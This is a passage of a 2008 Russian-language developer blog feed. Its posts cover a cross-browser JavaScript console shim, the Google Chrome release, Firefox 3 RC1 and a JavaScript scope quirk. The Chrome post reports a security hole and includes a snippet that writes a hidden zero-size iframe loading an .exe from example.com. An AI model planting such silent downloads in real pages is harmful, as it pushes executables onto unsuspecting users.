		<guid isPermaLink="false">http://mabp.kiev.ua/?p=312</guid>
		<description><![CDATA[Это попытка заставить работать синтаксис консоли FireBug'a со всеми браузерами. ИМХО кроссбраузерный дебаг звучит не ок, но это именно он! А все получилось как-то само собой когда я сегодня что-то дебажил на тестовой платформе и для того чтобы тестеры не видели ошибок прикрывал вызовы консоли заглушками. if(window.console) console.log("myLog"); В общем это как-то гнило, нашел что [...]]]></description>
			<content:encoded><![CDATA[<p>Это попытка заставить работать синтаксис консоли FireBug'a со всеми браузерами. ИМХО кроссбраузерный дебаг звучит не ок, но это именно он! А все получилось как-то само собой когда я сегодня что-то дебажил на тестовой платформе и для того чтобы тестеры не видели ошибок прикрывал вызовы консоли заглушками.</p>
<span id="more-312"></span>
<pre><code class="javascript">
if(window.console)
	console.log("myLog");
</code></pre>

<p>В общем это как-то гнило, нашел что по данному поводу пишут разработчики <a href="http://mir.aculo.us/2008/12/19/little-javascript-hints-episode-1" rel="nofollow">Prototype</a> и <a href="http://docs.jquery.com/Plugins/Authoring" rel="nofollow">jQuery</a>, и даже сами разработчики FireBug'a склоняются к <a href="http://getfirebug.com/firebug/firebugx.js" rel="nofollow">заглушкам</a></p>
<p>Уж очень мне эти затычки не нравятся. И решил я выяснить что можно с этим сделать. Уточнив с какой версии у браузеров появилась консоль (и текущую версию): IE8b2 (IE7), Opera 9.50 (9.63), Safari 1.3 (3.21), FireFox 2.0.0 (3.0.5), я принялся за работу.</p>

<p>Первое что приходило на ум это что-то вроде</p>
<pre><code class="javascript">
if (!window.console) {
	window.console = {};
	window.console.log = alert;
		
}
</code></pre>

<p>Но не все так просто, FireBug славится тем что показывает содержимое любого объекта и может делать форматированный вывод. То есть во-первых можно сделать</p>
<pre><code class="javascript">
console.info({a:null});
</code></pre>
<p>и увидеть содержимое объекта в закладке DOM, а во-вторых можно сделать форматированный вывод</p>
<pre><code class="javascript">
console.info("string: %d %s %d", 10, "text", 10);
</code></pre>
<p>и увидеть строку "string: 10 text 10". В остальных же браузерах можно наблюдать только строку [object Object] и "string: %d %s %d" соответственно, кроме IE8b2, он поддерживает форматный вывод, выпендрился, блин!</p>

<p>Я решил начать с написания форматного вывода, но функция <a href="http://kevin.vanzonneveld.net/techblog/article/javascript_equivalent_for_phps_sprintf/" rel="nofollow">sprintf</a> оказалась настолько громоздкой и избыточной что я решил обойтись небольшим регулярным выражением, для своих нужд, тем более что FireBug тоже не различает %d и %s ;) в отличие от IE8b2 который корректно выводит 0 вместо %d которому соответствует строка. Из этого вывод что достаточно использовать только %s.</p>

<p>Потом я решили что было бы неплохо научиться отображать содержимое объектов и массивов, для этого как нельзя хорошо подходила одна известная функция, написанная очень нелюбимым мной человеком, имя которого можете прочитать в комментарии в коде. Единственные минус этой функции в том что она не может корректно отобразить объекты типа window, на нем она уходит куда-то в глубь рекурсии и безнадежно вешает браузер. Но этот недостаток я постараюсь решить в следующей версии, если такая появиться.</p>

<p>Уже неплохо. Последним штрихом к портрету было прикручивание уровня дебага "log", "debug", "info", "warn", "error". Тут для меня было несколько откровений. Первое это то что массив arguments не такой уже и массив потому что содержит в себе еще и метод callee. Второе - что объект arguments прекрасно превращается в массив с помощью волшебной строки</p>
<pre><code class="javascript">
var args = Array.prototype.slice.call(arguments);
</code></pre>
<p>Третье - что этот метод не работает (правильно!) в IE7 и <a href="http://connect.microsoft.com/IE/feedback/ViewFeedback.aspx?FeedbackID=364463" rel="nofollow">IE8b2</a>, а поэтому не годиться. И наконец четвертое и последние что чертов arguments не возможно обойти циклом через <b>in</b> нужно обязательно это делать через длину</p>
<pre><code class="javascript">
for(var i in arguments) // fail
	alert(arguments[i]);
for(var i=0,j=arguments.length;i&lt;j;i++) // ok
	alert(arguments[i]);
</code></pre>

<p>Но это все не помешало мне дописать сегодня этот скрипт и выложит его на ваше растерзание</p>

<pre><code class="javascript">
myConsole = function(){
	var args = (function(a,x){for(var i=0,j=a.length;i&lt;j;i++){x.push(a[i])};return x;})(arguments,[]);
	
	if (args.length&gt;2){
		(window.opera?opera.postError:window.alert)(args.shift() +'':\\n''+ args.shift().replace(/(%[ds])/g, function(){
			return args.shift();
			})
		)
	}else{
		// автор функции dump - Дмитрий Котеров
		// http://dklab.ru/chicken/nablas/38.html
		(window.opera?opera.postError:window.alert)(args.shift() +'':\\n''+ (function dump(d,l) {
			if (l == null) l = 1;
			var s = '''';
			if (typeof(d) == "object") {
				s += typeof(d) + " {\\n";				for (var k in d) {
					for (var i=0; i&lt;l; i++){
						s += "  ";
					}
					s += k+": " + dump(d[k],l+1);
				}
				for (var i=0; i&lt;l-1; i++){
					s += "  ";
				}
				s += "}\\n"
			} else {
				s += "" + d + "\\n";
			}
			return s;
		})(args.shift()));
	}
}

if (window.loadFirebugConsole) { // since FireBug 1.2
	window.loadFirebugConsole();
} else if (!window.console) {
	window.console = {};
	var names = ["log", "debug", "info", "warn", "error"];
	for (var i in names){
		window.console[names[i]] = (function(name){return function(){
			myConsole.apply(null,(function(a,x){for(var i=0,j=a.length;i&lt;j;i++){x.push(a[i])};return x;})(arguments,[name]))
		}})(names[i]);
	}
}
</code></pre>

<p>Кому пригодиться пишите в каменты...</p>]]></content:encoded>
			<wfw:commentRss>http://mabp.kiev.ua/2008/12/25/myconsole/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Chome</title>
		<link>http://mabp.kiev.ua/2008/09/03/google_chrome/</link>
		<comments>http://mabp.kiev.ua/2008/09/03/google_chrome/#comments</comments>
		<pubDate>Wed, 03 Sep 2008 16:16:15 +0000</pubDate>
		<dc:creator>CTAPbIu_MABP</dc:creator>
				<category><![CDATA[Новости]]></category>
		<category><![CDATA[Разное]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[FireFox]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Safari]]></category>

		<guid isPermaLink="false">http://mabp.localhost/?p=224</guid>
		<description><![CDATA[Вчера вечером вышел релиз браузера Google Chrome, все предвещают ему долгую жизнь и процветание а так же прогнозируют что он будет конкурентом уже имеющимся браузерам. Я смотрю на это с точки зрения работы. Меня очень интересовало станет ли ее больше. Честно говоря пока еще точно сказать не могу но все продвинутые JS библиотеки, такие как [...]]]></description>
			<content:encoded><![CDATA[<p>Вчера вечером вышел релиз браузера Google Chrome, все предвещают ему долгую жизнь и процветание а так же прогнозируют что он будет конкурентом уже имеющимся браузерам. Я смотрю на это с точки зрения работы. Меня очень интересовало станет ли ее больше. Честно говоря пока еще точно сказать не могу но все продвинутые JS библиотеки, такие как jQuery, PrototypeJS, mooTools и т.д. работаю как часы.</p>
<span id="more-224"></span>

<div style="text-align:center;"><img src="http://mabp.kiev.ua/content/img/google-chrome.jpg" alt="Google Chrome"/></div>

<p>Google не скрывает что не писал с нуля браузер а лишь взял все лучшее из WebKit и Gecko, о чем радотно заявляет UserAgent</p>

<pre><code class="no-highlight">
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13
</code></pre>

<p>Я только не понял пока какой у них JS движок JavaScriptCore (Safari 3.1) или его приемник SquirrelFish (Safari 4.0), а может быть SpiderMonkey (FireFox 3.0) или его потомок TraceMonkey (FireFox 3.1). ну это я скоро выясню.</p>
<p>Еще меня интересовало поддерживает ли Chrome метод document.querySelectorAll, и как оказалось поддерживает только какого-то хуя возвращает вместо массива нечто под названием  StaticNodeList.</p>
<p>Но самой большой неожиданностью стало то, что при всей хвалености гугловкого кода, в первый же день, была найдена огромная дыра в безопасности. Можно загрузить любой файл. даже *.exe без ведома пользователя на его машину, примерно вот таким образом.</p>

<pre><code>
&lt;script&gt;
document.write('&lt;iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0"&gt;');
&lt;/script&gt;
</code></pre>]]></content:encoded>
			<wfw:commentRss>http://mabp.kiev.ua/2008/09/03/google_chrome/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firefox 3.0 Release Candidate 1</title>
		<link>http://mabp.kiev.ua/2008/05/17/firefox3rc1/</link>
		<comments>http://mabp.kiev.ua/2008/05/17/firefox3rc1/#comments</comments>
		<pubDate>Sat, 17 May 2008 16:11:03 +0000</pubDate>
		<dc:creator>CTAPbIu_MABP</dc:creator>
				<category><![CDATA[Новости]]></category>
		<category><![CDATA[Разное]]></category>
		<category><![CDATA[firebug]]></category>
		<category><![CDATA[FireFox]]></category>

		<guid isPermaLink="false">http://mabp.localhost/?p=215</guid>
		<description><![CDATA[Сегодня Mozilla выпустила Firefox 3.0 Release Candidate 1, это означает что до выпуска FF3 осталось совсем немного. Я думаю многие ждут окончательного релиза чтобы перейти на него, единственно что пока меня сдерживает это отсутствие FireBug'a. Некоторые нетерпеливые, типа Fedora 9 недождались окончательной версии и включили в дистрибутив Firefox 3.0 Beta 5.]]></description>
			<content:encoded><![CDATA[<p>Сегодня Mozilla выпустила Firefox 3.0 Release Candidate 1, это означает что до выпуска FF3 осталось совсем немного. Я думаю многие ждут окончательного релиза чтобы перейти на него, единственно что пока меня сдерживает это отсутствие FireBug'a. Некоторые нетерпеливые, типа Fedora 9 недождались окончательной версии и включили в дистрибутив Firefox 3.0 Beta 5.</p>
<div style="text-align:center"><img src="/content/img/FireFox.png" alt="Firefox"/></div>]]></content:encoded>
			<wfw:commentRss>http://mabp.kiev.ua/2008/05/17/firefox3rc1/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Локальная  глобальная область видимости</title>
		<link>http://mabp.kiev.ua/2008/04/25/local_global_scope/</link>
		<comments>http://mabp.kiev.ua/2008/04/25/local_global_scope/#comments</comments>
		<pubDate>Fri, 25 Apr 2008 15:00:04 +0000</pubDate>
		<dc:creator>CTAPbIu_MABP</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Программирование]]></category>
		<category><![CDATA[FireFox]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[Opera]]></category>

		<guid isPermaLink="false">http://mabp.localhost/?p=177</guid>
		<description><![CDATA[Всю неделю готовлю сразу две статьи, первая о comet (постоянное соединение с сервером) и вторая о ранжированном поиске который наконец таки заработал на сайте но на этот раз будет махонькая заметка о корректной работе браузеров. Все учебники по JavaScript наперебой рассказывают о присвоении значений переменным, и об области их видимости. Сейчас мы на примере рассмотрим, [...]]]></description>
			<content:encoded><![CDATA[<p>Всю неделю готовлю сразу две статьи, первая о comet (постоянное соединение с сервером) и вторая о ранжированном поиске который наконец таки заработал на сайте но на этот раз будет махонькая заметка о корректной работе браузеров.</p>
<span id="more-177"></span>
<p>Все учебники по JavaScript наперебой рассказывают о присвоении значений переменным, и об области их видимости. Сейчас мы на примере рассмотрим, что хотя то что они говорят и есть правильно но не всегда работает. Итак, в глобальной области видимости мы проверим чему у нас равен указатель <b>this</b>, а заодно создадим функцию в любой области видимости главное, чтоб ее можно было вызвать.</p>
<pre><code class="javascript">
alert(this === window);

var func = function(){
	alert("hello from onload!");
};
</code></pre>
<p>Как и следовало ожидать мы находимся в глобальной области видимости и <b>this</b> у нас равен (и того же типа что и) <b>window</b>, то есть объявляя какую-либо переменную мы можем не указывать ключевое слово <b>var</b>.</p>
<pre><code class="javascript">
onload = function (){
	func();
}
</code></pre>
<p>В результате работы этого скрипта мы получим наш алерт, потому что событие <b>window.onload</b> срабатывает когда страница полностью загружена.</p>
<p>Вам еще не надоело перечитывать материалы учебника для ламеров? Ну ладно начинается вкусненькое!</p>
<p>Создадим переменную в локальной области видимости, поскольку локальная у нас глобальна (во загнул!), то мы собственно еще раз попытаемся присвоить значение событию <b>window.onload</b>.</p>
<pre><code class="javascript">
var onload = function (){
	func();
}
</code></pre>
<p>Вот тут и начинаются косяки, работает это только в FireFox, а Opera и IE начисто игнорируют нашу писанину! Листаем учебник дальше и видим что определение функции с именем эквивалентно определению переменной с тем же именем в локальной области видимости.</p>
<pre><code class="javascript">
function onload (){
	func();
}
</code></pre>
<p>И что бы вы думали?! Действительно абсолютно эквивалентно, потому что оно также не работает, как и прошлый пример. Вы можете сказать, что я где-то что-то мухлюю и во втором и третьем примере переменные не попадают в объект <b>window</b>, но для всех трех примеров и всех трех браузеров алерт выдает один и тот же результат.</p>
<pre><code class="javascript">
alert(window.onload);
</code></pre>

<p>Из всего вышесказанного можно сделать два вывода, даже три: Первый и самый главный - FireFox снова на высоте! Второй заключается в том, что для Opera и IE локальная область видимости скрипта не такая уже и глобальная, как хотелось бы. Ну и третий маловероятный, что все учебники врут.</p>
]]></content:encoded>
			<wfw:commentRss>http://mabp.kiev.ua/2008/04/25/local_global_scope/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

